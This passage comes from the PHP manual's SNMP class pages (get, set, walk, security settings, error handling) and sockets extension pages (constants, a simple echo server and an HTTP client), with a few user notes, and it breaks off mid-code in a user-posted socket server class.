    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
    [SNMPv2-MIB::sysName.0] => STRING: myhost.nodomain
)

See Also

  • SNMP::getErrno() - Get last error code
  • SNMP::getError() - Get last error message

User Contributed Notes

There are no user contributed notes for this page.


Get last error code

  • « SNMP::get
  • SNMP::getError »
  • PHP Manual
  • SNMP
  • Get last error code

SNMP::getErrno

(PHP 5 >= 5.4.0)

SNMP::getErrno — Get last error code

Description

public int SNMP::getErrno ( void )

Returns error code from last SNMP request.

Return Values

Returns one of SNMP error code values described in constants chapter.

Examples

Example #1 SNMP::getErrno() example

<?php
$session = new SNMP(SNMP::VERSION_2c, '127.0.0.1', 'boguscommunity');
var_dump(@$session->get('.1.3.6.1.2.1.1.1.0'));
var_dump($session->getErrno() == SNMP::ERRNO_TIMEOUT);
?>

The above example will output:

bool(false)
bool(true)

See Also

  • SNMP::getError() - Get last error message

User Contributed Notes

There are no user contributed notes for this page.


Get last error message

  • « SNMP::getErrno
  • SNMP::getnext »
  • PHP Manual
  • SNMP
  • Get last error message

SNMP::getError

(PHP 5 >= 5.4.0)

SNMP::getError — Get last error message

Description

public string SNMP::getError ( void )

Returns string with error from last SNMP request.

Return Values

String describing error from last SNMP request.

Examples

Example #1 SNMP::getError() example

<?php
$session = new SNMP(SNMP::VERSION_2c, '127.0.0.1', 'boguscommunity');
var_dump(@$session->get('.1.3.6.1.2.1.1.1.0'));
var_dump($session->getError());
?>

The above example will output:

bool(false)
string(26) "No response from 127.0.0.1"

See Also

  • SNMP::getErrno() - Get last error code

User Contributed Notes

There are no user contributed notes for this page.


Fetch an SNMP object which follows the given object id

  • « SNMP::getError
  • SNMP::set »
  • PHP Manual
  • SNMP
  • Fetch an SNMP object which follows the given object id

SNMP::getnext

(PHP 5 >= 5.4.0)

SNMP::getnext — Fetch an SNMP object which follows the given object id

Description

public mixed SNMP::getnext ( mixed $object_id )

Fetch an SNMP object that follows specified object_id.

Parameters

If object_id is a string, then SNMP::getnext() will return SNMP object as string. If object_id is a array, all requested SNMP objects will be returned as associative array of the SNMP object ids and their values.

object_id

The SNMP object (OID) or objects

Return Values

Returns SNMP objects requested as string or array depending on object_id type or FALSE on error.

Errors/Exceptions

This method does not throw any exceptions by default. To enable throwing an SNMPException exception when some of library errors occur the SNMP class parameter exceptions_enabled should be set to a corresponding value. See SNMP::$exceptions_enabled explanation for more details.

Examples

Example #1 Single SNMP object

Single SNMP object may be requested in two ways: as string resulting string return value or as single-element array with associative array as output.

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $nsysdescr = $session->getnext("sysDescr.0");
  echo "$nsysdescr\n";
  $nsysdescr = $session->getnext(array("sysDescr.0"));
  print_r($nsysdescr);
?>

The above example will output something similar to:

OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
Array
(
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
)

Example #2 Miltiple SNMP objects

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $results = $session->getnext(array("sysDescr.0", "sysName.0"));
  print_r($results);
  $session->close();
?>

The above example will output something similar to:

Array
(
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
    [SNMPv2-MIB::sysLocation.0] => STRING: Nowhere
)

See Also

  • SNMP::getErrno() - Get last error code
  • SNMP::getError() - Get last error message

User Contributed Notes

There are no user contributed notes for this page.


Set the value of an SNMP object

  • « SNMP::getnext
  • SNMP::setSecurity »
  • PHP Manual
  • SNMP
  • Set the value of an SNMP object

SNMP::set

(PHP 5 >= 5.4.0)

SNMP::set — Set the value of an SNMP object

Description

public bool SNMP::set ( mixed $object_id , mixed $type , mixed $value )

Requests remote SNMP agent setting the value of one or more SNMP objects specified by the object_id.

Parameters

If object_id is string, both type and value must be string too. If object_id is array value must be equal-sized array containing corresponding values, type may be either string (it's value will be used for all object_id-value pairs) or equal-sized array with per-OID value. When any other parameters' combinations are used, a number of E_WARNING messages may be shown with detailed description.

object_id

The SNMP object id

When count of OIDs in object_id array is greater than max_oids object property set method will have to use multiple queries to perform requested value updates. In this case type and value checks are made per-chunk so second or subsequent requests may fail due to wrong type or value for OID requested. To mark this a warning is raised when count of OIDs in object_id array is greater than max_oids.

type

The MIB defines the type of each object id. It has to be specified as a single character from the below list.

types
= The type is taken from the MIB
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the following are also valid:

types
U | unsigned int64
I | signed int64
F | float
D | double

Most of these will use the obvious corresponding ASN.1 type. 's', 'x', 'd' and 'b' are all different ways of specifying an OCTET STRING value, and the 'u' unsigned type is also used for handling Gauge32 values.

If the MIB-Files are loaded by into the MIB Tree with "snmp_read_mib" or by specifying it in the libsnmp config, '=' may be used as the type parameter for all object ids as the type can then be automatically read from the MIB.

Note that there are two ways to set a variable of the type BITS like e.g. "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • Using type "b" and a list of bit numbers. This method is not recommended since GET query for the same OID would return e.g. 0xF8.
  • Using type "x" and a hex number but without(!) the usual "0x" prefix.

See examples section for more details.

value

The new value.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

This method does not throw any exceptions by default. To enable throwing an SNMPException exception when some of library errors occur the SNMP class parameter exceptions_enabled should be set to a corresponding value. See SNMP::$exceptions_enabled explanation for more details.

Examples

Example #1 Set single SNMP object id

<?php
  $session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
  $session->set('SNMPv2-MIB::sysContact.0', 's', "Nobody");
?>

Example #2 Set multiple values using single SNMP::set() call

<?php
  $session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
  $session->set(array('SNMPv2-MIB::sysContact.0', 'SNMPv2-MIB::sysLocation.0'), array('s', 's'), array("Nobody", "Nowhere"));
// or
  $session->set(array('SNMPv2-MIB::sysContact.0', 'SNMPv2-MIB::sysLocation.0'), 's', array("Nobody", "Nowhere"));
?>

Example #3 Using SNMP::set() for setting BITS SNMP object id

<?php
  $session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
  $session->set('FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// or
  $session->set('FOO-MIB::bar.42', 'x', 'F0');
?>

See Also

  • SNMP::get() - Fetch an SNMP object

User Contributed Notes

There are no user contributed notes for this page.


Configures security-related SNMPv3 session parameters

  • « SNMP::set
  • SNMP::walk »
  • PHP Manual
  • SNMP
  • Configures security-related SNMPv3 session parameters

SNMP::setSecurity

(PHP 5 >= 5.4.0)

SNMP::setSecurity — Configures security-related SNMPv3 session parameters

Description

public bool SNMP::setSecurity ( string $sec_level [, string $auth_protocol = [, string $auth_passphrase = [, string $priv_protocol = [, string $priv_passphrase = [, string $contextName = [, string $contextEngineID = ]]]]]] )

setSecurity configures security-related session parameters used in SNMP protocol version 3

Parameters

sec_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

priv_protocol

the privacy protocol (DES or AES)

priv_passphrase

the privacy pass phrase

contextName

the context name

contextEngineID

the context EngineID

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 SNMP::setSecurity() example

<?php
  $session = new SNMP(SNMP::VERSION_3, $hostname, $rwuser, $timeout, $retries);
  $session->setSecurity('authPriv', 'MD5', $auth_pass, 'AES', $priv_pass, '', 'aeeeff');
?>

See Also

  • SNMP::__construct() - Creates SNMP instance representing session to remote SNMP agent

User Contributed Notes

There are no user contributed notes for this page.


Fetch SNMP object subtree

  • « SNMP::setSecurity
  • SNMPException »
  • PHP Manual
  • SNMP
  • Fetch SNMP object subtree

SNMP::walk

(PHP 5 >= 5.4.0)

SNMP::walk — Fetch SNMP object subtree

Description

public array SNMP::walk ( string $object_id [, bool $suffix_as_key = FALSE [, int $max_repetitions [, int $non_repeaters ]]] )

SNMP::walk() is used to read SNMP subtree rooted at specified object_id.

Parameters

object_id

Root of subtree to be fetched

suffix_as_key

By default full OID notation is used for keys in output array. If set to TRUE subtree prefix will be removed from keys leaving only suffix of object_id.

non_repeaters

This specifies the number of supplied variables that should not be iterated over. The default is to use this value from SNMP object.

max_repetitions

This specifies the maximum number of iterations over the repeating variables. The default is to use this value from SNMP object.

Return Values

Returns an associative array of the SNMP object ids and their values on success or FALSE on error. When a SNMP error occures SNMP::getErrno() and SNMP::getError() can be used for retrieving error number (specific to SNMP extension, see class constants) and error message respectively.

Errors/Exceptions

This method does not throw any exceptions by default. To enable throwing an SNMPException exception when some of library errors occur the SNMP class parameter exceptions_enabled should be set to a corresponding value. See SNMP::$exceptions_enabled explanation for more details.

Examples

Example #1 SNMP::walk() example

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $fulltree = $session->walk(".");
  print_r($fulltree);
  $session->close();
?>

The above example will output something similar to:

Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
    [DISMAN-EVENT-MIB::sysUpTimeInstance] => Timeticks: (1150681750) 133 days, 4:20:17.50
    [SNMPv2-MIB::sysContact.0] => STRING: Nobody
    [SNMPv2-MIB::sysName.0] => STRING: server.localdomain
    ...
)

Example #2 suffix_as_key example

suffix_as_key may be used when merging multiple SNMP subtrees into one. This example maps interface names to their type.

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $session->valueretrieval = SNMP_VALUE_PLAIN;
  $ifDescr = $session->walk(".1.3.6.1.2.1.2.2.1.2", TRUE);
  $session->valueretrieval = SNMP_VALUE_LIBRARY;
  $ifType = $session->walk(".1.3.6.1.2.1.2.2.1.3", TRUE);
  print_r($ifDescr);
  print_r($ifType);
  $result = array();
  foreach($ifDescr as $i => $n) {
    $result[$n] = $ifType[$i];
  }
  print_r($result);
?>

The above example will output something similar to:

Array
(
    [1] => igb0
    [2] => igb1
    [3] => ipfw0
    [4] => lo0
    [5] => lagg0
)
Array
(
    [1] => INTEGER: ieee8023adLag(161)
    [2] => INTEGER: ieee8023adLag(161)
    [3] => INTEGER: ethernetCsmacd(6)
    [4] => INTEGER: softwareLoopback(24)
    [5] => INTEGER: ethernetCsmacd(6)
)
Array
(
    [igb0] => INTEGER: ieee8023adLag(161)
    [igb1] => INTEGER: ieee8023adLag(161)
    [ipfw0] => INTEGER: ethernetCsmacd(6)
    [lo0] => INTEGER: softwareLoopback(24)
    [lagg0] => INTEGER: ethernetCsmacd(6)
)

See Also

  • SNMP::getErrno() - Get last error code
  • SNMP::getError() - Get last error message

User Contributed Notes

There are no user contributed notes for this page.


The SNMPException class

(PHP 5 >= 5.4.0)

Introduction

Represents an error raised by SNMP. You should not throw a SNMPException from your own code. See Exceptions for more information about Exceptions in PHP.

Class synopsis

SNMPException extends RuntimeException {
/* Properties */
protected string $code ;
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Properties

code

SNMPlibrary error code. Use Exception::getCode() to access it.

User Contributed Notes

There are no user contributed notes for this page.


Sockets

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Socket Errors
  • Socket Functions
    • socket_accept — Accepts a connection on a socket
    • socket_bind — Binds a name to a socket
    • socket_clear_error — Clears the error on the socket or the last error code
    • socket_close — Closes a socket resource
    • socket_cmsg_space — Calculate message buffer size
    • socket_connect — Initiates a connection on a socket
    • socket_create_listen — Opens a socket on port to accept connections
    • socket_create_pair — Creates a pair of indistinguishable sockets and stores them in an array
    • socket_create — Create a socket (endpoint for communication)
    • socket_get_option — Gets socket options for the socket
    • socket_getpeername — Queries the remote side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
    • socket_getsockname — Queries the local side of the given socket which may either result in host/port or in a Unix filesystem path, dependent on its type
    • socket_import_stream — Import a stream
    • socket_last_error — Returns the last error on the socket
    • socket_listen — Listens for a connection on a socket
    • socket_read — Reads a maximum of length bytes from a socket
    • socket_recv — Receives data from a connected socket
    • socket_recvfrom — Receives data from a socket whether or not it is connection-oriented
    • socket_recvmsg — Read a message
    • socket_select — Runs the select() system call on the given arrays of sockets with a specified timeout
    • socket_send — Sends data to a connected socket
    • socket_sendmsg — Send a message
    • socket_sendto — Sends a message to a socket, whether it is connected or not
    • socket_set_block — Sets blocking mode on a socket resource
    • socket_set_nonblock — Sets nonblocking mode for file descriptor fd
    • socket_set_option — Sets socket options for the socket
    • socket_shutdown — Shuts down a socket for receiving, sending, or both
    • socket_strerror — Return a string describing a socket error
    • socket_write — Write to a socket

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The socket extension implements a low-level interface to the socket communication functions based on the popular BSD sockets, providing the possibility to act as a socket server as well as a client.

For a more generic client-side socket interface, see
stream_socket_client(),
stream_socket_server(),
fsockopen(), and
pfsockopen().

When using these functions, it is important to remember that while many of them have identical names to their C counterparts, they often have different declarations. Please be sure to read the descriptions to avoid confusion.

Those unfamiliar with socket programming can find a lot of useful material in the appropriate Unix man pages, and there is a great deal of tutorial information on socket programming in C on the web, much of which can be applied, with slight modifications, to socket programming in PHP. The » Unix Socket FAQ might be a good start.

User Contributed Notes

There are no user contributed notes for this page.


Installation

The socket functions described here are part of an extension to PHP which must be enabled at compile time by giving the --enable-sockets option to configure.

Note: IPv6 Support was added in PHP 5.0.0.

User Contributed Notes

Dirk 04-Jan-2009 09:32
Note that under windows you just need to uncomment the line
;extension=php_sockets.dll
so that it looks like
extension=php_sockets.dll
(without the ; at the start)
in your php.ini (in the directory c:\program files\PHP\php.ini)

If that line isn't in there, you probably have a custom php install. In that case you need to add the line to php.ini and download the sockets dll.

In order to get the php_sockets.dll:
- Download the regular php zip file from http://www.php.net/downloads.php
- Find the dll in the ext directory
- Extract the php_sockets.dll to the ext directory of your install
(probably at c:\program files\PHP\ext)


Resource Types

socket_accept(),
socket_create_listen() and
socket_create() return socket resources.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

AF_UNIX (integer)
AF_INET (integer)
AF_INET6 (integer)
Only available if compiled with IPv6 support.
SOCK_STREAM (integer)
SOCK_DGRAM (integer)
SOCK_RAW (integer)
SOCK_SEQPACKET (integer)
SOCK_RDM (integer)
MSG_OOB (integer)
MSG_WAITALL (integer)
MSG_PEEK (integer)
MSG_DONTROUTE (integer)
MSG_EOR (integer)
Not available on Windows platforms.
MSG_EOF (integer)
Not available on Windows platforms.
SO_DEBUG (integer)
SO_REUSEADDR (integer)
SO_REUSEPORT (integer)
This constant is only available in PHP 5.4.10 or later on platforms that support the SO_REUSEPORT socket option: this includes Mac OS X and FreeBSD, but does not include Linux or Windows.
SO_KEEPALIVE (integer)
SO_DONTROUTE (integer)
SO_LINGER (integer)
SO_BROADCAST (integer)
SO_OOBINLINE (integer)
SO_SNDBUF (integer)
SO_RCVBUF (integer)
SO_SNDLOWAT (integer)
SO_RCVLOWAT (integer)
SO_SNDTIMEO (integer)
SO_RCVTIMEO (integer)
SO_TYPE (integer)
SO_ERROR (integer)
TCP_NODELAY (integer)
Used to disable Nagle TCP algorithm. Added in PHP 5.2.7.
SOL_SOCKET (integer)
PHP_NORMAL_READ (integer)
PHP_BINARY_READ (integer)
SOL_TCP (integer)
SOL_UDP (integer)

The following constants are defined under Windows and UNIX-like platforms. Each constant is only defined if their equal is available on the platform.

SOCKET_EINTR (integer)
Interrupted system call.
SOCKET_EBADF (integer)
Bad file number.
SOCKET_EACCES (integer)
Permission denied.
SOCKET_EFAULT (integer)
Bad address.
SOCKET_EINVAL (integer)
Invalid argument.
SOCKET_EMFILE (integer)
Too many open files.
SOCKET_ENAMETOOLONG (integer)
File name too long.
SOCKET_ENOTEMPTY (integer)
Directory not empty.
SOCKET_ELOOP (integer)
Too many symbolic links encountered.
SOCKET_EWOULDBLOCK (integer)
Operation would block.
SOCKET_EREMOTE (integer)
Object is remote.
SOCKET_EUSERS (integer)
Too many users.
SOCKET_ENOTSOCK (integer)
Socket operation on non-socket.
SOCKET_EDESTADDRREQ (integer)
Destination address required.
SOCKET_EMSGSIZE (integer)
Message too long.
SOCKET_EPROTOTYPE (integer)
Protocol wrong type for socket.
SOCKET_EPROTONOSUPPORT (integer)
Protocol not supported.
SOCKET_ESOCKTNOSUPPORT (integer)
Socket type not supported.
SOCKET_EOPNOTSUPP (integer)
Operation not supported on transport endpoint.
SOCKET_EPFNOSUPPORT (integer)
Protocol family not supported.
SOCKET_EAFNOSUPPORT (integer)
Address family not supported by protocol.
SOCKET_EADDRNOTAVAIL (integer)
Cannot assign requested address.
SOCKET_ENETDOWN (integer)
Network is down.
SOCKET_ENETUNREACH (integer)
Network is unreachable.
SOCKET_ENETRESET (integer)
Network dropped connection because of reset.
SOCKET_ECONNABORTED (integer)
Software caused connection abort.
SOCKET_ECONNRESET (integer)
Connection reset by peer.
SOCKET_ENOBUFS (integer)
No buffer space available.
SOCKET_EISCONN (integer)
Transport endpoint is already connected.
SOCKET_ENOTCONN (integer)
Transport endpoint is not connected.
SOCKET_ESHUTDOWN (integer)
Cannot send after transport endpoint shutdown.
SOCKET_ETIMEDOUT (integer)
Connection timed out.
SOCKET_ECONNREFUSED (integer)
Connection refused.
SOCKET_EHOSTDOWN (integer)
Host is down.
SOCKET_EHOSTUNREACH (integer)
No route to host.
SOCKET_EALREADY (integer)
Operation already in progress.
SOCKET_EINPROGRESS (integer)
Operation now in progress.

The following constants are only defined under Windows.

SOCKET_ENOPROTOOPT (integer)
SOCKET_EADDRINUSE (integer)
SOCKET_ETOOMYREFS (integer)
SOCKET_EPROCLIM (integer)
SOCKET_EDUOT (integer)
SOCKET_ESTALE (integer)
SOCKET_EDISCON (integer)
SOCKET_SYSNOTREADY (integer)
SOCKET_VERNOTSUPPORTED (integer)
SOCKET_NOTINITIALISED (integer)
SOCKET_HOST_NOT_FOUND (integer)
SOCKET_TRY_AGAIN (integer)
SOCKET_NO_RECOVERY (integer)
SOCKET_NO_DATA (integer)
SOCKET_NO_ADDRESS (integer)

The following constants are only available on UNIX-like platforms. Each constant is only defined if their equal is available on the platform.

SOCKET_EPERM (integer)
Operation not permitted.
SOCKET_ENOENT (integer)
No such file or directory.
SOCKET_EIO (integer)
I/O error.
SOCKET_ENXIO (integer)
No such device or address.
SOCKET_E2BIG (integer)
Arg list too long.
SOCKET_EAGAIN (integer)
Try again.
SOCKET_ENOMEM (integer)
Out of memory.
SOCKET_ENOTBLK (integer)
Block device required.
SOCKET_EBUSY (integer)
Device or resource busy.
SOCKET_EEXIST (integer)
File exists.
SOCKET_EXDEV (integer)
Cross-device link.
SOCKET_ENODEV (integer)
No such device.
SOCKET_ENOTDIR (integer)
Not a directory.
SOCKET_EISDIR (integer)
Is a directory.
SOCKET_ENFILE (integer)
File table overflow.
SOCKET_ENOTTY (integer)
Not a typewriter.
SOCKET_ENOSPC (integer)
No space left on device.
SOCKET_ESPIPE (integer)
Illegal seek.
SOCKET_EROFS (integer)
Read-only file system.
SOCKET_EMLINK (integer)
Too many links.
SOCKET_EPIPE (integer)
Broken pipe.
SOCKET_ENOLCK (integer)
No record locks available.
SOCKET_ENOSYS (integer)
Function not implemented.
SOCKET_ENOMSG (integer)
No message of desired type.
SOCKET_EIDRM (integer)
Identifier removed.
SOCKET_ECHRNG (integer)
Channel number out of range.
SOCKET_EL2NSYNC (integer)
Level 2 not synchronized.
SOCKET_EL3HLT (integer)
Level 3 halted.
SOCKET_EL3RST (integer)
Level 3 reset.
SOCKET_ELNRNG (integer)
Link number out of range.
SOCKET_EUNATCH (integer)
Protocol driver not attached.
SOCKET_ENOCSI (integer)
No CSI structure available.
SOCKET_EL2HLT (integer)
Level 2 halted.
SOCKET_EBADE (integer)
Invalid exchange.
SOCKET_EBADR (integer)
Invalid request descriptor.
SOCKET_EXFULL (integer)
Exchange full.
SOCKET_ENOANO (integer)
No anode.
SOCKET_EBADRQC (integer)
Invalid request code.
SOCKET_EBADSLT (integer)
Invalid slot.
SOCKET_ENOSTR (integer)
Device not a stream.
SOCKET_ENODATA (integer)
No data available.
SOCKET_ETIME (integer)
Timer expired.
SOCKET_ENOSR (integer)
Out of streams resources.
SOCKET_ENONET (integer)
Machine is not on the network.
SOCKET_ENOLINK (integer)
Link has been severed.
SOCKET_EADV (integer)
Advertise error.
SOCKET_ESRMNT (integer)
Srmount error.
SOCKET_ECOMM (integer)
Communication error on send.
SOCKET_EPROTO (integer)
Protocol error.
SOCKET_EMULTIHOP (integer)
Multihop attempted.
SOCKET_EBADMSG (integer)
Not a data message.
SOCKET_ENOTUNIQ (integer)
Name not unique on network.
SOCKET_EBADFD (integer)
File descriptor in bad state.
SOCKET_EREMCHG (integer)
Remote address changed.
SOCKET_ERESTART (integer)
Interrupted system call should be restarted.
SOCKET_ESTRPIPE (integer)
Streams pipe error.
SOCKET_EPROTOOPT (integer)
Protocol not available.
SOCKET_ADDRINUSE (integer)
Address already in use.
SOCKET_ETOOMANYREFS (integer)
Too many references: cannot splice.
SOCKET_EISNAM (integer)
Is a named type file.
SOCKET_EREMOTEIO (integer)
Remote I/O error.
SOCKET_EDQUOT (integer)
Quota exceeded.
SOCKET_ENOMEDIUM (integer)
No medium found.
SOCKET_EMEDIUMTYPE (integer)
Wrong medium type.

User Contributed Notes

gvgvgvijayan at gmail dot com 07-Jun-2013 11:15
$a = get_defined_constants(TRUE);
foreach ($a as $k => $v) {
    printf('%-25s <br/>', $k);
    foreach ($v as $k => $v) {
        printf('&nbsp;&nbsp;&nbsp;&nbsp--->%-25s %d<br/>', $k, $v);
    }
}

this may look duplicate for previous anonymous post but that code snippet only return 1 for constants value
1-->first called the get_defined_constants by passing argument true to categorize the data
2-->then using foreach iterate over index of the array
3-->here printf is used to print title of the category
4-->then it move on to interrior array and display the list of contants available in each category along with its value
Anonymous 15-Apr-2012 12:20
We can know sockets constants values with :

<?php
$a = get_defined_constants(TRUE) ;
foreach ( $a['sockets'] as $constant => $value ) {
    printf("%-25s %d\r\n", $constant, $value) ;
}
?>

AF_UNIX                   1
AF_INET                   2
AF_INET6                  23
SOCK_STREAM               1
SOCK_DGRAM                2
SOCK_RAW                  3
SOCK_SEQPACKET            5
SOCK_RDM                  4
MSG_OOB                   1
MSG_WAITALL               0
MSG_PEEK                  2
MSG_DONTROUTE             4
SO_DEBUG                  1
SO_REUSEADDR              4
SO_KEEPALIVE              8
SO_DONTROUTE              16
SO_LINGER                 128
SO_BROADCAST              32
SO_OOBINLINE              256
SO_SNDBUF                 4097
SO_RCVBUF                 4098
SO_SNDLOWAT               4099
SO_RCVLOWAT               4100
SO_SNDTIMEO               4101
SO_RCVTIMEO               4102
SO_TYPE                   4104
SO_ERROR                  4103
SOL_SOCKET                65535
SOMAXCONN                 2147483647
TCP_NODELAY               1
PHP_NORMAL_READ           1
PHP_BINARY_READ           2
SOCKET_EINTR              10004
SOCKET_EBADF              10009
SOCKET_EACCES             10013
SOCKET_EFAULT             10014
SOCKET_EINVAL             10022
SOCKET_EMFILE             10024
SOCKET_EWOULDBLOCK        10035
SOCKET_EINPROGRESS        10036
SOCKET_EALREADY           10037
SOCKET_ENOTSOCK           10038
SOCKET_EDESTADDRREQ       10039
SOCKET_EMSGSIZE           10040
SOCKET_EPROTOTYPE         10041
SOCKET_ENOPROTOOPT        10042
SOCKET_EPROTONOSUPPORT    10043
SOCKET_ESOCKTNOSUPPORT    10044
SOCKET_EOPNOTSUPP         10045
SOCKET_EPFNOSUPPORT       10046
SOCKET_EAFNOSUPPORT       10047
SOCKET_EADDRINUSE         10048
SOCKET_EADDRNOTAVAIL      10049
SOCKET_ENETDOWN           10050
SOCKET_ENETUNREACH        10051
SOCKET_ENETRESET          10052
SOCKET_ECONNABORTED       10053
SOCKET_ECONNRESET         10054
SOCKET_ENOBUFS            10055
SOCKET_EISCONN            10056
SOCKET_ENOTCONN           10057
SOCKET_ESHUTDOWN          10058
SOCKET_ETOOMANYREFS       10059
SOCKET_ETIMEDOUT          10060
SOCKET_ECONNREFUSED       10061
SOCKET_ELOOP              10062
SOCKET_ENAMETOOLONG       10063
SOCKET_EHOSTDOWN          10064
SOCKET_EHOSTUNREACH       10065
SOCKET_ENOTEMPTY          10066
SOCKET_EPROCLIM           10067
SOCKET_EUSERS             10068
SOCKET_EDQUOT             10069
SOCKET_ESTALE             10070
SOCKET_EREMOTE            10071
SOCKET_EDISCON            10101
SOCKET_SYSNOTREADY        10091
SOCKET_VERNOTSUPPORTED    10092
SOCKET_NOTINITIALISED     10093
SOCKET_HOST_NOT_FOUND     11001
SOCKET_TRY_AGAIN          11002
SOCKET_NO_RECOVERY        11003
SOCKET_NO_DATA            11004
SOCKET_NO_ADDRESS         11004
SOL_TCP                   6
SOL_UDP                   17


Examples

Example #1 Socket example: Simple TCP/IP server

This example shows a simple talkback server. Change the address and port variables to suit your setup and execute. You may then connect to the server with a command similar to: telnet 192.168.1.53 10000 (where the address and port match your setup). Anything you type will then be output on the server side, and echoed back to you. To disconnect, enter 'quit'.

#!/usr/local/bin/php -q
<?php
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
 * as it comes in. */
ob_implicit_flush();

$address = '192.168.1.53';
$port = 10000;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
    echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}

if (socket_listen($sock, 5) === false) {
    echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}

do {
    if (($msgsock = socket_accept($sock)) === false) {
        echo "socket_accept() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
        break;
    }
    /* Send instructions. */
    $msg = "\nWelcome to the PHP Test Server. \n" .
        "To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
    socket_write($msgsock, $msg, strlen($msg));

    do {
        if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) {
            echo "socket_read() failed: reason: " . socket_strerror(socket_last_error($msgsock)) . "\n";
            break 2;
        }
        if (!$buf = trim($buf)) {
            continue;
        }
        if ($buf == 'quit') {
            break;
        }
        if ($buf == 'shutdown') {
            socket_close($msgsock);
            break 2;
        }
        $talkback = "PHP: You said '$buf'.\n";
        socket_write($msgsock, $talkback, strlen($talkback));
        echo "$buf\n";
    } while (true);
    socket_close($msgsock);
} while (true);

socket_close($sock);
?>

Example #2 Socket example: Simple TCP/IP client

This example shows a simple, one-shot HTTP client. It simply connects to a page, submits a HEAD request, echoes the reply, and exits.

<?php
error_reporting(E_ALL);

echo "<h2>TCP/IP Connection</h2>\n";

/* Get the port for the WWW service. */
$service_port = getservbyname('www', 'tcp');

/* Get the IP address for the target host. */
$address = gethostbyname('www.example.com');

/* Create a TCP/IP socket. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
    echo "OK.\n";
}

echo "Attempting to connect to '$address' on port '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
    echo "OK.\n";
}

$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: www.example.com\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';

echo "Sending HTTP HEAD request...";
socket_write($socket, $in, strlen($in));
echo "OK.\n";

echo "Reading response:\n\n";
while ($out = socket_read($socket, 2048)) {
    echo $out;
}

echo "Closing socket...";
socket_close($socket);
echo "OK.\n\n";
?>

User Contributed Notes

Anonymous 27-Apr-2014 02:36
A more object oriented example of the server

#!/usr/bin/env php
<?php

class MySocketServer
{
    protected $socket;
    protected $clients = [];
    protected $changed;

    function __construct($host = 'localhost', $port = 9000)
    {
        set_time_limit(0);
        $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1);

        //bind socket to specified host
        socket_bind($socket, 0, $port);
        //listen to port
        socket_listen($socket);
        $this->socket = $socket;
    }

    function __destruct()
    {
        foreach($this->clients as $client) {
            socket_close($client);
        }
        socket_close($this->socket);
    }

    function run()
    {
        while(true) {
            $this->waitForChange();
            $this->checkNewClients();
            $this->checkMessageRecieved();
            $this->checkDisconnect();
        }
    }

    function checkDisconnect()
    {
        foreach ($this->changed as $changed_socket) {
            $buf = @socket_read($changed_socket, 1024, PHP_NORMAL_READ);
            if ($buf !== false) { // check disconnected client
                continue;
            }
            // remove client for $clients array
            $found_socket = array_search($changed_socket, $this->clients);
            socket_getpeername($changed_socket, $ip);
            unset($this->clients[$found_socket]);
            $response = 'client ' . $ip . ' has disconnected';
            $this->sendMessage($response);
        }
    }

    function checkMessageRecieved()
    {
        foreach ($this->changed as $key => $socket) {
            $buffer = null;
